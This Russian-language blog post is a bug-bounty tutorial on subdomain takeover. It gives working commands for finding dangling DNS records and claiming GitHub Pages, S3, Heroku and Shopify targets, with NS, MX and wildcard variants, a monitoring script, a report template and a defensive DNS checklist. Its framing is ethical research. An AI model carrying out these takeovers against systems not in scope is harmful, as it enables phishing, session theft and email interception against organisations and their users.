🚪 Subdomain takeover за чашкой травяного чая: пошаговый гайд

Привет, хакеры! ☕ Сегодня поговорим об одной из самых недооценённых, но прибыльных уязвимостей — subdomain takeover. Это когда ты буквально захватываешь чужой поддомен и делаешь с ним что хочешь.

Звучит сложно? Нет! Это настолько просто, что можно сделать за время, пока заваривается чай. Я серьёзно. 🍵

🔍 Что такое Subdomain Takeover?

Простыми словами:

Компания создала поддомен `blog.company.com`, который указывает на внешний сервис (GitHub Pages, AWS S3, Heroku и т.д.). Потом они:

• Удалили проект на этом сервисе

• Забыли убрать DNS-запись

Результат: DNS говорит “blog.company.com → github-project”, но проекта на GitHub больше нет. Ты создаёшь проект с тем же именем → BOOM! Теперь это твой поддомен. 💣

Чем это опасно:

• Фишинг под брендом компании

• XSS на основном домене (через cookies)

• Кража session tokens

• SEO hijacking

• Репутационный ущерб

🎯 Уязвимые сервисы (топ-10 в 2025)

🚪 Subdomain takeover за чашкой травяного чая: пошаговый гайд, image #1

Лайфхак: Сохрани эту табличку — это твой чит-код для находок! 📋

🛠️ Инструменты для охоты

# Subjack - мой любимый (быстрый и точный)
go install github.com/haccer/subjack@latest
subjack -w subdomains.txt -t 100 -timeout 30 -ssl -o takeovers.txt
# SubOver - альтернатива
go install github.com/Ice3man543/SubOver@latest
subover -l subdomains.txt
# Nuclei с темплейтами для takeover
nuclei -l subdomains.txt -t ~/nuclei-templates/takeovers/
# Can-I-Take-Over-XYZ - база знаний
# https://github.com/EdOverflow/can-i-take-over-xyz

Мой setup для автоматизации:

#!/bin/bash
# subdomain-hunter.sh
TARGET=$1
echo "[🔍] Собираем поддомены для $TARGET"
# Subfinder + Amass
subfinder -d $TARGET -o subs_tmp.txt -silent
amass enum -d $TARGET -o amass_tmp.txt -passive
# Объединяем и удаляем дубли
cat subs_tmp.txt amass_tmp.txt | sort -u > all_subs.txt
echo "[🎯] Найдено $(wc -l < all_subs.txt) поддоменов"
# Проверяем живые хосты
cat all_subs.txt | httpx -silent -o alive.txt
echo "[💣] Ищем takeover возможности"
# Subjack
subjack -w alive.txt -t 100 -timeout 30 -ssl -c ~/fingerprints.json -v 3 -o takeover_found.txt
echo "[✅] Готово! Проверяй takeover_found.txt"

🔥 Пошаговый гайд: захватываем поддомен

Шаг 1: Находим уязвимый поддомен (2 минуты)

# Собираем поддомены
subfinder -d target.com -o subs.txt
# Проверяем на takeover
subjack -w subs.txt -t 100 -ssl -o results.txt

Что ищем в выводе:

[VULNERABLE] blog.target.com [GitHub]

Отлично! Нашли кандидата. ☕ (Завариваем чай)

Шаг 2: Проверяем вручную (1 минута)

# Смотрим DNS запись
dig blog.target.com
# Вывод:
blog.target.com. 3600 IN CNAME oldproject.github.io.

Открываем в браузере `blog.target.com`:

There isn't a GitHub Pages site here.

БИНГО! Поддомен указывает на несуществующий GitHub Pages. 💰

Шаг 3: Захватываем (3 минуты)

Для GitHub Pages:

1. Создаём репозиторий на GitHub с именем `oldproject`

2. Включаем GitHub Pages в настройках

3. Добавляем файл `CNAME` с содержимым:

blog.target.com
  1. Создаём `index.html`:
<!DOCTYPE html>
<html>
<head>
<title>Subdomain Takeover PoC</title>
</head>
<body>
<h1>Proof of Concept - Subdomain Takeover</h1>
<p>This subdomain (blog.target.com) was vulnerable to takeover.</p>
<p>Researcher: YourName</p>
<p>Date: 2025-10-06</p>
</body>
</html>
  1. Commit &amp; Push

Через 1-2 минуты: Заходим на `blog.target.com` → видим свой HTML! 🎉

☕ (Чай заварился, самое время сделать глоток)

Шаг 4: Пишем отчёт (5 минут)

## Vulnerability: Subdomain Takeover
**Severity:** High/Critical
**Affected Asset:** blog.target.com
**Vulnerability Type:** Subdomain Takeover via GitHub Pages
### Description:
The subdomain blog.target.com has a CNAME record pointing to
oldproject.github.io, which does not exist. This allows an attacker
to claim the GitHub Pages site and control the subdomain.
### Proof of Concept:
1. DNS Record: blog.target.com CNAME oldproject.github.io
2. GitHub Pages site does not exist
3. Created repository and claimed the subdomain
4. URL: https://blog.target.com (now shows PoC page)
### Impact:
- Phishing attacks using company domain
- Session hijacking via cookies
- XSS on main domain
- Brand reputation damage
### Remediation:
1. Remove DNS CNAME record for blog.target.com
2. Implement DNS monitoring for dangling records
3. Document all external services in use
### Screenshots:
[Attach DNS lookup, browser screenshot, GitHub repo]

Отправляем → ждём $$$! 💸

🎯 Популярные векторы для разных сервисов

GitHub Pages Takeover

# 1. Находим уязвимый поддомен
dig docs.target.com
# Вывод: CNAME old-repo.github.io
# 2. Создаём репозиторий old-repo на GitHub
# 3. Settings → Pages → Enable
# 4. Добавляем CNAME файл с docs.target.com
# 5. Profit!

AWS S3 Takeover

# 1. Находим bucket
dig assets.target.com
# Вывод: CNAME old-bucket.s3.amazonaws.com
# 2. Проверяем существование
curl https://old-bucket.s3.amazonaws.com
# Ответ: NoSuchBucket
# 3. Создаём bucket с тем же именем
aws s3 mb s3://old-bucket --region us-east-1
# 4. Делаем публичным и загружаем index.html
aws s3 cp index.html s3://old-bucket/ --acl public-read
aws s3 website s3://old-bucket/ --index-document index.html
# 5. Захвачено!

Важно: В 2025 AWS усложнили создание bucket’ов с именами, которые недавно удалили. Есть grace period ~30 дней. Но всё ещё находятся старые! 🔥

Heroku Takeover

# 1. Находим приложение
dig api.target.com
# Вывод: CNAME old-app.herokuapp.com
# 2. Проверяем
curl https://api.target.com
# Ответ: "No such app"
# 3. Создаём приложение
heroku create old-app
# 4. Деплоим простой HTML
echo "<h1>PoC</h1>" > index.html
git init && git add . && git commit -m "poc"
heroku git:remote -a old-app
git push heroku master
# 5. Done!

Shopify Takeover

# 1. Находим магазин
dig shop.target.com
# Вывод: CNAME old-store.myshopify.com
# 2. Проверяем
curl https://shop.target.com
# Ответ: "Sorry, this shop is currently unavailable"
# 3. Регистрируем магазин old-store на Shopify
# 4. В настройках добавляем домен shop.target.com
# 5. Takeover complete!

Bounty: Shopify takeover’ы платят особенно хорошо ($5k-$15k), потому что через них можно фишинговать платёжные данные. 💳

🔥 Продвинутые техники

Техника #1: Wildcard subdomain takeover

# Находим wildcard DNS
dig *.cdn.target.com
# Если указывает на уязвимый сервис
# Можешь захватить ВСЕ поддомены формата *.cdn.target.com
# Impact растёт x100!

Техника #2: Takeover через NS records

# Проверяем NS записи поддоменов
dig ns1.target.com NS
# Если NS указывает на несуществующий сервер
# Можешь зарегистрировать этот NS и контролировать весь DNS!

Это critical severity! 💀

Техника #3: Email takeover через MX records

# Смотрим MX записи
dig mail.target.com MX
# Если указывает на удалённый email-сервис (Mailgun, SendGrid)
# Захватываешь → можешь читать/отправлять email от имени компании

Impact: Password reset emails, internal communications → полный pwn! 🎯

Техника #4: CDN takeover

# CloudFront
dig cdn.target.com
# CNAME d111111abcdef8.cloudfront.net
# Если distribution удалён
# Создаёшь новый CloudFront distribution с альтернативным доменом cdn.target.com

💡 Автоматизация: мониторинг 24/7

Скрипт для постоянного мониторинга:

import subprocess
import time
import requests
def check_takeover(domain):
# Subjack проверка
result = subprocess.run(
['subjack', '-d', domain, '-ssl'],
capture_output=True, text=True
)

if 'VULNERABLE' in result.stdout:
# Отправляем уведомление
requests.post('https://api.telegram.org/bot<TOKEN>/sendMessage',
json={
'chat_id': 'YOUR_CHAT_ID',
'text': f'🚨 TAKEOVER FOUND: {domain}'
}
)
return True
return False
# Список целей
targets = ['target1.com', 'target2.com', 'target3.com']
while True:
for target in targets:
# Собираем поддомены
subprocess.run(['subfinder', '-d', target, '-o', f'{target}_subs.txt'])

# Проверяем каждый
with open(f'{target}_subs.txt') as f:
for subdomain in f:
subdomain = subdomain.strip()
if check_takeover(subdomain):
print(f'[+] Takeover found: {subdomain}')

# Проверяем раз в день
time.sleep(86400)

Setup и забываешь → деньги капают сами! 💰

🎯 Где искать в 2025?

Горячие точки:

✅ Старые marketing-кампании — promo.company.com, event2020.company.com

✅ Документация — docs., api-docs., developers.*

✅ CDN поддомены — cdn., static., assets.*

✅ Региональные сайты — uk.company.com, de.company.com (часто забывают)

✅ Поддомены поддоменов — blog.staging.company.com

✅ Email инфраструктура — mail., smtp., newsletter.*

🔐 Защита для админов

Чеклист безопасности:

✅ Инвентаризация DNS — документируй ВСЕ записи

✅ Автоматический мониторинг — используй инструменты типа dnstwist

✅ Lifecycle management — при удалении сервиса → удаляй DNS

✅ Централизованное управление — используй Terraform для DNS

✅ Alerts на изменения DNS — CloudFlare/Route53 логи

✅ Grace period policy — не удаляй сервисы резко, держи redirect 30+ дней

Скрипт для защиты:

#!/bin/bash
# dns-monitor.sh - запускай раз в день через cron
# Получаем все DNS записи
dig +noall +answer ANY yourdomain.com > current_dns.txt
# Сравниваем с предыдущим snapshot'ом
if [ -f previous_dns.txt ]; then
diff previous_dns.txt current_dns.txt > dns_changes.txt

if [ -s dns_changes.txt ]; then
# Есть изменения - отправляем алерт
mail -s "DNS Changes Detected" security@company.com < dns_changes.txt
fi
fi
# Сохраняем текущее состояние
cp current_dns.txt previous_dns.txt

🎓 Мораль истории

Subdomain takeover — это low-hanging fruit с high impact.

Пока компании удаляют старые проекты и забывают про DNS, мы зарабатываем. Это как находить потерянные ключи от квартиры — если никто не поднял, они твои. 🔑

Ключевые моменты:

• Проще всего для новичков (не нужно знать эксплойты)

• Высокий bounty при минимальных усилиях

• Автоматизируется на 100%

• Легально и этично (в рамках bug bounty)

Инвестируй 1 час в setup автоматизации → получай находки на автомате месяцами. 🤖💰

🚀 Домашка для хакеров

1. Выбери 5 компаний из bug bounty программ

2. Собери их поддомены (subfinder + amass)

3. Прогони через subjack

4. Найди свой первый takeover

5. Напиши правильный отчёт

Удачной охоты, захватывайте поддомены как боссы! 🚪🔥

P.S. Чай остыл, пока писал этот гайд. Но ты успеешь найти takeover быстрее, чем он заварится. Поверь. ☕😎

P.P.S. Всегда делай безопасный PoC: покажи контроль над поддоменом, но не делай вредоносных действий. Это разница между bounty и судом. Stay ethical! 🔐

Не все техники работают для РФ, поэтому нужно адаптироваться и креативить в условиях рынка России.

32 views·4 shares